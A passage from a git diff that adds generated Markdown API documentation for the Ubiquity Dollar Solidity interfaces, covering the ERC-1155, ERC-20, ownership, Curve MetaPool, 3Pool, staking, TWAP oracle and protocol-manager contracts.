+Batched version of `_burn()` +Emits a `TransferBatch` event. +Requirements: +- `ids` and `amounts` must have the same length. + + +```solidity +function burnBatch(address account, uint256[] memory ids, uint256[] memory values) external; +``` + +### pause + +Pauses all token transfers + + +```solidity +function pause() external; +``` + +### unpause + +Unpauses all token transfers + + +```solidity +function unpause() external; +``` + +### totalSupply + +Returns total supply among all token ids + + +```solidity +function totalSupply() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Total supply among all token ids| + + +### exists + +Checks whether token `id` exists + + +```solidity +function exists(uint256 id) external view returns (bool); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether token `id` exists| + + +### holderTokens + +Returns array of token ids held by the `holder` + + +```solidity +function holderTokens(address holder) external view returns (uint256[] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`holder`|`address`|Account to check tokens for| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[]`|Array of tokens which `holder` has| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IERC173.sol/interface.IERC173.md b/packages/contracts/docs/src/src/dollar/interfaces/IERC173.sol/interface.IERC173.md new file mode 100644 index 000000000..4bcc64221 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IERC173.sol/interface.IERC173.md @@ -0,0 +1,50 @@ +# IERC173 +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IERC173.sol) + +ERC-173 Contract Ownership Standard + +*ERC-165 identifier for this interface is 0x7f5828d0* + + +## Functions +### owner + +Returns owner's address + + +```solidity +function owner() external view returns (address owner_); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`owner_`|`address`|Owner address| + + +### transferOwnership + +Sets contract's owner to a new address + +*Set _newOwner to address(0) to renounce any ownership* + + +```solidity +function transferOwnership(address _newOwner) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_newOwner`|`address`|The address of the new owner of the contract| + + +## Events +### OwnershipTransferred +Emits when ownership of a contract changes + + +```solidity +event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IERC20Ubiquity.sol/interface.IERC20Ubiquity.md b/packages/contracts/docs/src/src/dollar/interfaces/IERC20Ubiquity.sol/interface.IERC20Ubiquity.md new file mode 100644 index 000000000..b9dead21a --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IERC20Ubiquity.sol/interface.IERC20Ubiquity.md @@ -0,0 +1,74 @@ +# IERC20Ubiquity +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IERC20Ubiquity.sol) + +**Inherits:** +IERC20, IERC20Permit + +Interface for ERC20Ubiquity contract + + +## Functions +### burn + +Burns tokens from `msg.sender` + + +```solidity +function burn(uint256 amount) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of tokens to burn| + + +### burnFrom + +Burns tokens from the `account` address + + +```solidity +function burnFrom(address account, uint256 amount) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Address to burn tokens from| +|`amount`|`uint256`|Amount of tokens to burn| + + +### mint + +Mints tokens to the `account` address + + +```solidity +function mint(address account, uint256 amount) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Address to mint tokens to| +|`amount`|`uint256`|Amount of tokens to mint| + + +## Events +### Minting +Emitted on tokens minting + + +```solidity +event Minting(address indexed _to, address indexed _minter, uint256 _amount); +``` + +### Burning +Emitted on tokens burning + + +```solidity +event Burning(address indexed _burned, uint256 _amount); +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IIncentive.sol/interface.IIncentive.md b/packages/contracts/docs/src/src/dollar/interfaces/IIncentive.sol/interface.IIncentive.md new file mode 100644 index 000000000..33e658c6a --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IIncentive.sol/interface.IIncentive.md @@ -0,0 +1,35 @@ +# IIncentive +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/4924ab0035521e70625d704791f5b260a4713327/src/dollar/interfaces/IIncentive.sol) + +Incentive contract interface + +Called by Ubiquity Dollar token contract when transferring with an incentivized address. +Dollar admin can set an incentive contract for a partner in order to, for example, mint partner's +project tokens on Dollars transfers. Incentive contracts can be set for the following transfer operations: +- EOA => contract +- contract => EOA +- contract => contract +- any transfer incentive contract + +*Should be appointed as a Minter or Burner as needed* + + +## Functions +### incentivize + +Applies incentives on transfer + + +```solidity +function incentivize(address sender, address receiver, address operator, uint256 amount) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`sender`|`address`|the sender address of Ubiquity Dollar| +|`receiver`|`address`|the receiver address of Ubiquity Dollar| +|`operator`|`address`|the operator (msg.sender) of the transfer| +|`amount`|`uint256`|the amount of Ubiquity Dollar transferred| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IJar.sol/interface.IJar.md b/packages/contracts/docs/src/src/dollar/interfaces/IJar.sol/interface.IJar.md new file mode 100644 index 000000000..65e41c894 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IJar.sol/interface.IJar.md @@ -0,0 +1,109 @@ +# IJar +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/7c3a0bb87e5e9b32000b3291b4e7da4b119ff3fa/src/dollar/interfaces/IJar.sol) + +**Inherits:** +IERC20 + +IJar interface + + +## Functions +### claimInsurance + +Transfers insurance to controller + + +```solidity +function claimInsurance() external; +``` + +### depositAll + +Deposits the whole user balance + + +```solidity +function depositAll() external; +``` + +### deposit + +Deposits a specified amount of tokens + + +```solidity +function deposit(uint256) external; +``` + +### withdrawAll + +Withdraws all tokens + + +```solidity +function withdrawAll() external; +``` + +### withdraw + +Withdraws a specified amount of tokens + + +```solidity +function withdraw(uint256) external; +``` + +### earn + +Run strategy + + +```solidity +function earn() external; +``` + +### token + +Returns token address + + +```solidity +function token() external view returns (address); +``` + +### reward + +Returns reward amount + + +```solidity +function reward() external view returns (address); +``` + +### getRatio + +Returns ratio + + +```solidity +function getRatio() external view returns (uint256); +``` + +### balance + +Returns token balance + + +```solidity +function balance() external view returns (uint256); +``` + +### decimals + +Returns token decimals + + +```solidity +function decimals() external view returns (uint8); +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IMetaPool.sol/interface.IMetaPool.md b/packages/contracts/docs/src/src/dollar/interfaces/IMetaPool.sol/interface.IMetaPool.md new file mode 100644 index 000000000..d75b23f68 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IMetaPool.sol/interface.IMetaPool.md @@ -0,0 +1,313 @@ +# IMetaPool +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/4924ab0035521e70625d704791f5b260a4713327/src/dollar/interfaces/IMetaPool.sol) + +**Inherits:** +IERC20 + +Curve MetaPool interface + +**What is Curve MetaPool** + +The pool that consists of 2 tokens: stable coin and 3CRV LP token. +For example the pool may contain Ubiquity Dollar and 3CRV LP token. +This allows users to trade between Ubiquity Dollar and any of the tokens +from the Curve 3Pool (DAI, USDC, USDT). When user adds liquidity to the pool +then he is rewarded with MetaPool LP tokens. 1 Dollar3CRV LP token != 1 stable coin token. + +Add liquidity example: +1. User sends 100 Ubiquity Dollars to the pool +2. User gets 100 Dollar3CRV LP tokens of the pool + +Remove liquidity example: +1. User sends 100 Dollar3CRV LP tokens to the pool +2. User gets 100 Dollar/DAI/USDC/USDT (may choose any) tokens + + +## Functions +### get_twap_balances + +Calculates the current effective TWAP balances given two +snapshots over time, and the time elapsed between the two snapshots + + +```solidity +function get_twap_balances(uint256[2] memory _first_balances, uint256[2] memory _last_balances, uint256 _time_elapsed) + external + view + returns (uint256[2] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_first_balances`|`uint256[2]`|First `price_cumulative_last` array that was snapshot via `get_price_cumulative_last()`| +|`_last_balances`|`uint256[2]`|Second `price_cumulative_last` array that was snapshot via `get_price_cumulative_last()`| +|`_time_elapsed`|`uint256`|The elapsed time in seconds between `_first_balances` and `_last_balances`| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[2]`|Returns the `balances` of the TWAP value| + + +### get_price_cumulative_last + +Returns latest cumulative prices for pool tokens + +The price P gets multiplied to how long it lasts T. +This is continuously added to cumulative value C. +Example: +1. Timestamp 0, price 3000, C = 0 +2. Timestamp 200, price 3200, C = 0(previous C) + 3000 * 200 = 600000 +3. Timestamp 250, price 3150, C = 600000 + 3200 * 50 = 760000 +4. So TWAP between time (0,250) = (760000 - 0) / (250 - 0) = 3040 + + +```solidity +function get_price_cumulative_last() external view returns (uint256[2] memory); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[2]`|Latest cumulative prices| + + +### calc_token_amount + +Estimates the amount of LP tokens minted or burned based on a deposit or withdrawal + +This calculation accounts for slippage, but not fees. It should be used as a basis for +determining expected amounts when calling `add_liquidity()` or `remove_liquidity_imbalance()`, +but should not be considered to be precise! + + +```solidity +function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amounts`|`uint256[2]`|Amount of each coin being deposited. Amounts correspond to the tokens at the same index locations within `coins()`.| +|`_is_deposit`|`bool`|Set `True` for deposits, `False` for withdrawals| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|The expected amount of LP tokens minted or burned| + + +### add_liquidity + +Deposits coins into to the pool and mints new LP tokens + + +```solidity +function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount, address _receiver) + external + returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amounts`|`uint256[2]`|List of amounts of underlying coins to deposit. Amounts correspond to the tokens at the same index locations within `coins`.| +|`_min_mint_amount`|`uint256`|Minimum amount of LP tokens to mint from the deposit| +|`_receiver`|`address`|Optional address that receives the LP tokens. If not specified, they are sent to the caller.| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|The amount of LP tokens that were minted in the deposit| + + +### get_dy + +Calculates the price for exchanging a token with index `i` to token +with index `j` and amount `dx` given the `_balances` provided + + +```solidity +function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`i`|`int128`|The index of the coin being sent to the pool, as it related to the metapool| +|`j`|`int128`|The index of the coin being received from the pool, as it relates to the metapool| +|`dx`|`uint256`|The amount of `i` being sent to the pool| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Returns the quote / price as `dy` given `dx`| + + +### get_dy + +Calculates the price for exchanging a token with index `i` to token +with index `j` and amount `dx` given the `_balances` provided + + +```solidity +function get_dy(int128 i, int128 j, uint256 dx, uint256[2] memory _balances) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`i`|`int128`|The index of the coin being sent to the pool, as it related to the metapool| +|`j`|`int128`|The index of the coin being received from the pool, as it relates to the metapool| +|`dx`|`uint256`|The amount of `i` being sent to the pool| +|`_balances`|`uint256[2]`|The array of balances to be used for purposes of calculating the output amount / exchange rate, this is the value returned in `get_twap_balances()`| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Returns the quote / price as `dy` given `dx`| + + +### get_dy_underlying + +Gets the amount received (“dy”) when swapping between two underlying assets within the pool + +Index values can be found using `get_underlying_coins()` within the factory contract + + +```solidity +function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`i`|`int128`|Index value of the token to send| +|`j`|`int128`|Index value of the token to receive| +|`dx`|`uint256`|The amount of `i` being exchanged| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Returns the amount of `j` received| + + +### exchange + +Performs an exchange between two tokens. Index values can be found +using the `coins()` public getter method, or `get_coins()` within the factory contract. + + +```solidity +function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`i`|`int128`|Index value of the token to send| +|`j`|`int128`|Index value of the token to receive| +|`dx`|`uint256`|The amount of `i` being exchanged| +|`min_dy`|`uint256`|The minimum amount of `j` to receive. If the swap would result in less, the transaction will revert.| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|The amount of `j` received in the exchange| + + +### remove_liquidity_one_coin + +Withdraws a single asset from the pool + + +```solidity +function remove_liquidity_one_coin(uint256 _burn_amount, int128 i, uint256 _min_received) external returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_burn_amount`|`uint256`|Amount of LP tokens to burn in the withdrawal| +|`i`|`int128`|Index value of the coin to withdraw. Can be found using the `coins()` getter method.| +|`_min_received`|`uint256`|Minimum amount of the coin to receive| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|The amount of the coin received in the withdrawal| + + +### coins + +Returns token address by the provided `arg0` index + + +```solidity +function coins(uint256 arg0) external view returns (address); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`arg0`|`uint256`|Token index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Token address| + + +### balances + +Returns token balances by `arg0` index + + +```solidity +function balances(uint256 arg0) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`arg0`|`uint256`|Token index| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Token balance| + + +### fee + + +```solidity +function fee() external view returns (uint256); +``` + +### block_timestamp_last + +Returns the latest timestamp when TWAP cumulative prices were updated + + +```solidity +function block_timestamp_last() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Latest update timestamp| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IStableSwap3Pool.sol/interface.IStableSwap3Pool.md b/packages/contracts/docs/src/src/dollar/interfaces/IStableSwap3Pool.sol/interface.IStableSwap3Pool.md new file mode 100644 index 000000000..77f3ea884 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IStableSwap3Pool.sol/interface.IStableSwap3Pool.md @@ -0,0 +1,183 @@ +# IStableSwap3Pool +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IStableSwap3Pool.sol) + +Curve TriPool interface + + +## Functions +### get_virtual_price + +The current virtual price of the pool LP token + +*Useful for calculating profits* + + +```solidity +function get_virtual_price() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|LP token virtual price normalized to 1e18| + + +### balances + +Returns pool balance + + +```solidity +function balances(uint256) external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Token balance| + + +### coins + +Returns coin address by index + + +```solidity +function coins(uint256) external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Coin address| + + +### get_dy + +Calculates the price for exchanging a token with index `i` to token +with index `j` and amount `dx` given the `_balances` provided + + +```solidity +function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256 dy); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`i`|`int128`|The index of the coin being sent to the pool, as it related to the metapool| +|`j`|`int128`|The index of the coin being received from the pool, as it relates to the metapool| +|`dx`|`uint256`|The amount of `i` being sent to the pool| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`dy`|`uint256`|Returns the quote / price as `dy` given `dx`| + + +### exchange + +Performs an exchange between two tokens. Index values can be found +using the `coins()` public getter method, or `get_coins()` within the factory contract. + + +```solidity +function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`i`|`int128`|Index value of the token to send| +|`j`|`int128`|Index value of the token to receive| +|`dx`|`uint256`|The amount of `i` being exchanged| +|`min_dy`|`uint256`|The minimum amount of `j` to receive. If the swap would result in less, the transaction will revert.| + + +### add_liquidity + +Deposits coins into to the pool and mints new LP tokens + + +```solidity +function add_liquidity(uint256[3] calldata amounts, uint256 min_mint_amount) external payable; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amounts`|`uint256[3]`|List of amounts of underlying coins to deposit. Amounts correspond to the tokens at the same index locations within `coins`.| +|`min_mint_amount`|`uint256`|Minimum amount of LP tokens to mint from the deposit| + + +### remove_liquidity + +Withdraw coins from the pool + +*Withdrawal amounts are based on current deposit ratios* + + +```solidity +function remove_liquidity(uint256 _amount, uint256[3] calldata amounts) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amount`|`uint256`|Quantity of LP tokens to burn in the withdrawal| +|`amounts`|`uint256[3]`|Minimum amounts of underlying coins to receive| + + +### remove_liquidity_one_coin + +Withdraw a single coin from the pool + + +```solidity +function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 min_amount) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_token_amount`|`uint256`|Amount of LP tokens to burn in the withdrawal| +|`i`|`int128`|Index value of the coin to withdraw| +|`min_amount`|`uint256`|Minimum amount of coin to receive| + + +### calc_token_amount + +Calculate addition or reduction in token supply from a deposit or withdrawal + +*This calculation accounts for slippage, but not fees. +Needed to prevent front-running, not for precise calculations!* + + +```solidity +function calc_token_amount(uint256[3] calldata amounts, bool deposit) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amounts`|`uint256[3]`|Amount of each coin being deposited| +|`deposit`|`bool`|set True for deposits, False for withdrawals| + + +### calc_withdraw_one_coin + +Calculate the amount received when withdrawing a single coin + + +```solidity +function calc_withdraw_one_coin(uint256 _token_amount, int128 i) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_token_amount`|`uint256`|Amount of LP tokens to burn in the withdrawal| +|`i`|`int128`|Index value of the coin to withdraw| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IStaking.sol/interface.IStaking.md b/packages/contracts/docs/src/src/dollar/interfaces/IStaking.sol/interface.IStaking.md new file mode 100644 index 000000000..044c8c555 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IStaking.sol/interface.IStaking.md @@ -0,0 +1,68 @@ +# IStaking +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IStaking.sol) + +Staking interface + + +## Functions +### deposit + +Deposits UbiquityDollar-3CRV LP tokens for a duration to receive staking shares + +Weeks act as a multiplier for the amount of staking shares to be received + + +```solidity +function deposit(uint256 _lpsAmount, uint256 _weeks) external returns (uint256 _id); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_lpsAmount`|`uint256`|Amount of LP tokens to send| +|`_weeks`|`uint256`|Number of weeks during which LP tokens will be held| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`_id`|`uint256`|Staking share id| + + +### addLiquidity + +Adds an amount of UbiquityDollar-3CRV LP tokens + +Staking shares are ERC1155 (aka NFT) because they have an expiration date + + +```solidity +function addLiquidity(uint256 _amount, uint256 _id, uint256 _weeks) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amount`|`uint256`|Amount of LP token to deposit| +|`_id`|`uint256`|Staking share id| +|`_weeks`|`uint256`|Number of weeks during which LP tokens will be held| + + +### removeLiquidity + +Removes an amount of UbiquityDollar-3CRV LP tokens + +Staking shares are ERC1155 (aka NFT) because they have an expiration date + + +```solidity +function removeLiquidity(uint256 _amount, uint256 _id) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amount`|`uint256`|Amount of LP token deposited when `_id` was created to be withdrawn| +|`_id`|`uint256`|Staking share id| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IStakingShare.sol/interface.IStakingShare.md b/packages/contracts/docs/src/src/dollar/interfaces/IStakingShare.sol/interface.IStakingShare.md new file mode 100644 index 000000000..821a2ac1e --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IStakingShare.sol/interface.IStakingShare.md @@ -0,0 +1,47 @@ +# IStakingShare +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IStakingShare.sol) + +**Inherits:** +[IERC1155Ubiquity](/src/dollar/interfaces/IERC1155Ubiquity.sol/interface.IERC1155Ubiquity.md) + +Interface representing a staking share in the form of ERC1155 token + + +## Functions +### getStake + +Returns stake info by stake `id` + + +```solidity +function getStake(uint256 id) external view returns (Stake memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`id`|`uint256`|Stake id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`Stake`|Stake info| + + +## Structs +### Stake +Stake struct + + +```solidity +struct Stake { + address minter; + uint256 lpFirstDeposited; + uint256 creationBlock; + uint256 lpRewardDebt; + uint256 endBlock; + uint256 lpAmount; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/ITWAPOracleDollar3pool.sol/interface.ITWAPOracleDollar3pool.md b/packages/contracts/docs/src/src/dollar/interfaces/ITWAPOracleDollar3pool.sol/interface.ITWAPOracleDollar3pool.md new file mode 100644 index 000000000..e34af87e7 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/ITWAPOracleDollar3pool.sol/interface.ITWAPOracleDollar3pool.md @@ -0,0 +1,78 @@ +# ITWAPOracleDollar3pool +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/4924ab0035521e70625d704791f5b260a4713327/src/dollar/interfaces/ITWAPOracleDollar3pool.sol) + +TWAP oracle interface for Curve MetaPool + +**What is Curve 3Pool** + +The pool that consists of 3 tokens: DAI, USDC, USDT. +Users are free to trade (swap) those tokens. When user adds liquidity +to the pool then he is rewarded with the pool's LP token 3CRV. +1 3CRV LP token != 1 stable coin token. + +Add liquidity example: +1. User sends 5 USDC to the pool +2. User gets 5 3CRV LP tokens + +Remove liquidity example: +1. User sends 99 3CRV LP tokens +2. User gets 99 USDT tokens + +**What is Curve MetaPool** + +The pool that consists of 2 tokens: stable coin and 3CRV LP token. +For example the pool may contain Ubiquity Dollar and 3CRV LP token. +This allows users to trade between Ubiquity Dollar and any of the tokens +from the Curve 3Pool (DAI, USDC, USDT). When user adds liquidity to the pool +then he is rewarded with MetaPool LP tokens. 1 Dollar3CRV LP token != 1 stable coin token. + +Add liquidity example: +1. User sends 100 Ubiquity Dollars to the pool +2. User gets 100 Dollar3CRV LP tokens of the pool + +Remove liquidity example: +1. User sends 100 Dollar3CRV LP tokens to the pool +2. User gets 100 Dollar/DAI/USDC/USDT (may choose any) tokens + + +## Functions +### update + +Updates the following state variables to the latest values from MetaPool: +- Dollar / 3CRV LP quote +- 3CRV LP / Dollar quote +- cumulative prices +- update timestamp + + +```solidity +function update() external; +``` + +### consult + +Returns the quote for the provided `token` address + +If the `token` param is Dollar then returns 3CRV LP / Dollar quote + +If the `token` param is 3CRV LP then returns Dollar / 3CRV LP quote + +*This will always return 0 before update has been called successfully for the first time* + + +```solidity +function consult(address token) external view returns (uint256 amountOut); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`token`|`address`|Token address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`amountOut`|`uint256`|Token price, Dollar / 3CRV LP or 3CRV LP / Dollar quote| + + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityChef.sol/interface.IUbiquityChef.md b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityChef.sol/interface.IUbiquityChef.md new file mode 100644 index 000000000..d576a8e0d --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityChef.sol/interface.IUbiquityChef.md @@ -0,0 +1,138 @@ +# IUbiquityChef +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IUbiquityChef.sol) + +Interface for staking Dollar-3CRV LP tokens for Governance tokens reward + + +## Functions +### deposit + +Deposits Dollar-3CRV LP tokens to staking for Governance tokens allocation + + +```solidity +function deposit(address sender, uint256 amount, uint256 stakingShareID) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`sender`|`address`|Address where to transfer pending Governance token rewards| +|`amount`|`uint256`|Amount of LP tokens to deposit| +|`stakingShareID`|`uint256`|Staking share id| + + +### withdraw + +Withdraws Dollar-3CRV LP tokens from staking + + +```solidity +function withdraw(address sender, uint256 amount, uint256 stakingShareID) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`sender`|`address`|Address where to transfer pending Governance token rewards| +|`amount`|`uint256`|Amount of LP tokens to withdraw| +|`stakingShareID`|`uint256`|Staking share id| + + +### getStakingShareInfo + +Returns staking share info + + +```solidity +function getStakingShareInfo(uint256 _id) external view returns (uint256[2] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_id`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[2]`|Array of amount of shares and reward debt| + + +### totalShares + +Total amount of Dollar-3CRV LP tokens deposited to the Staking contract + + +```solidity +function totalShares() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Total amount of deposited LP tokens| + + +### pendingGovernance + +Returns amount of pending reward Governance tokens + + +```solidity +function pendingGovernance(address _user) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_user`|`address`|User address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of pending reward Governance tokens| + + +## Events +### Deposit +Emitted when Dollar-3CRV LP tokens are deposited to the contract + + +```solidity +event Deposit(address indexed user, uint256 amount, uint256 stakingShareID); +``` + +### Withdraw +Emitted when Dollar-3CRV LP tokens are withdrawn from the contract + + +```solidity +event Withdraw(address indexed user, uint256 amount, uint256 stakingShareID); +``` + +## Structs +### StakingShareInfo +User's staking share info + + +```solidity +struct StakingShareInfo { + uint256 amount; + uint256 rewardDebt; +} +``` + +### PoolInfo +Pool info + + +```solidity +struct PoolInfo { + uint256 lastRewardBlock; + uint256 accGovernancePerShare; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityDollarManager.sol/interface.IUbiquityDollarManager.md b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityDollarManager.sol/interface.IUbiquityDollarManager.md new file mode 100644 index 000000000..c00730b69 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/interfaces/IUbiquityDollarManager.sol/interface.IUbiquityDollarManager.md @@ -0,0 +1,456 @@ +# IUbiquityDollarManager +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/interfaces/IUbiquityDollarManager.sol) + +**Inherits:** +[IAccessControl](/src/dollar/interfaces/IAccessControl.sol/interface.IAccessControl.md) + +Interface for setting protocol parameters + + +## Functions +### INCENTIVE_MANAGER_ROLE + +Returns name for the "incentive manager" role + + +```solidity +function INCENTIVE_MANAGER_ROLE() external view returns (bytes32); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes32`|Bytes representation of the role name| + + +### GOVERNANCE_TOKEN_MINTER_ROLE + +Returns name for the "governance token minter" role + + +```solidity +function GOVERNANCE_TOKEN_MINTER_ROLE() external view returns (bytes32); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes32`|Bytes representation of the role name| + + +### creditTokenAddress + +Returns Credit token address + + +```solidity +function creditTokenAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Credit token address| + + +### treasuryAddress + +Returns treasury address + + +```solidity +function treasuryAddress() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Treasury address| + + +### setTwapOracleAddress + +Sets Curve TWAP oracle address + + +```solidity +function setTwapOracleAddress(address _twapOracleAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_twapOracleAddress`|`address`|TWAP oracle address| + + +### setCreditTokenAddress + +Sets Credit token address + + +```solidity +function setCreditTokenAddress(address _creditTokenAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_creditTokenAddress`|`address`|Credit token address| + + +### setCreditNftAddress + +Sets Credit NFT address + + +```solidity +function setCreditNftAddress(address _creditNftAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_creditNftAddress`|`address`|Credit NFT address| + + +### setIncentiveToDollar + +Sets incentive contract `_incentiveAddress` for `_account` address + + +```solidity +function setIncentiveToDollar(address _account, address _incentiveAddress) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_account`|`address`|Address for which to set an incentive contract| +|`_incentiveAddress`|`address`|Incentive contract address| + + +### setDollarTokenAddress + +Sets Dollar token address + + +```solidity +function setDollarTokenAddress(address _dollarTokenAddress) external; +``` +**Parameters** + +|Name|Type|Description| 